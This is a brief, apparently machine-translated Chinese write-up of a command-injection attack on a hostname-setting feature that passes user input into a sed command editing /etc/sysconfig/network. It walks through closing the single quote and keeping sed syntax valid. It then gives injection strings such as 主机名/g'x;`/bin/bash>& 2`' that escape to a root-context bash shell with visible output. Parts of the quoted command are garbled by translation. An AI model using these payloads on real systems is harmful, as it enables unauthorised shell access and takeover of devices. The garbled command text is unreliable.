Failure when receiving data from the peer Fqdn=id,cmd=sed's/^ HOSTNAME。*/HOSTNAME=id /'/etc/sysconfig/network>/tmp/mynetwork&& mv -f/tmp/mynetwork/etc/sysconfig/network&&服务网络重启 Mv:无法将'/tmp/mynetwork'移动到'/etc/sysconfig/network':权限不够 通过上面的错误调试,您可以知道id字符串被带入命令。如果程序没有过滤输入字符串,理论上我们可以注入命令来执行任何系统命令。 通过查看上述提示,我们有两个关键点: 1.由于id放在单引号之间,因此无法直接通过反引号执行命令,因此我们需要先关闭单引号; 2.由于id放在sed处理逻辑中,我们还必须符合sed语法; 我们构造以下命令 主机名/g'x;`/bin/bash`' 成功跳出当前的shell并获得了正常的bash shell,但没有回应它。仔细看看我们的/bin/bash是在``符号中执行的。此符号内的命令将标准错误消息输出到控制台。我们将/bin/bash的标准输出重定向到标准错误应该能够获得回声内容 主机名/g'x;`/bin/bash>& 2`' Failure when receiving data from the peer